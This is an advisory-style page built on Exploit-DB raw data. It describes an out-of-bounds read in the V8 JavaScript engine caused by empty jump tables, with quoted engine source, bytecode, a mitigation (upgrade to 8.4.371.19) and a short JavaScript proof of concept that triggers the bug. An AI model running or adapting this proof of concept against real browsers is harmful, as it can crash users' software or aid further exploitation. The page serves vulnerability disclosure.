V8 JavaScript Engine Out-of-Bounds Read Vulnerability

The V8 JavaScript engine is vulnerable to an out-of-bounds read vulnerability due to the bytecode generator emitting empty jump tables. If the jump table is empty, table_offset_ may exceed table_end_, resulting in out-of-bounds reads. A proof-of-concept exploit is provided which creates a function with an empty jump table and then calls it multiple times.

Mitigation:

Upgrade to V8 version 8.4.371.19 or later.

Source

Exploit-DB raw data:

/*
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never reaches, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
*/

function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();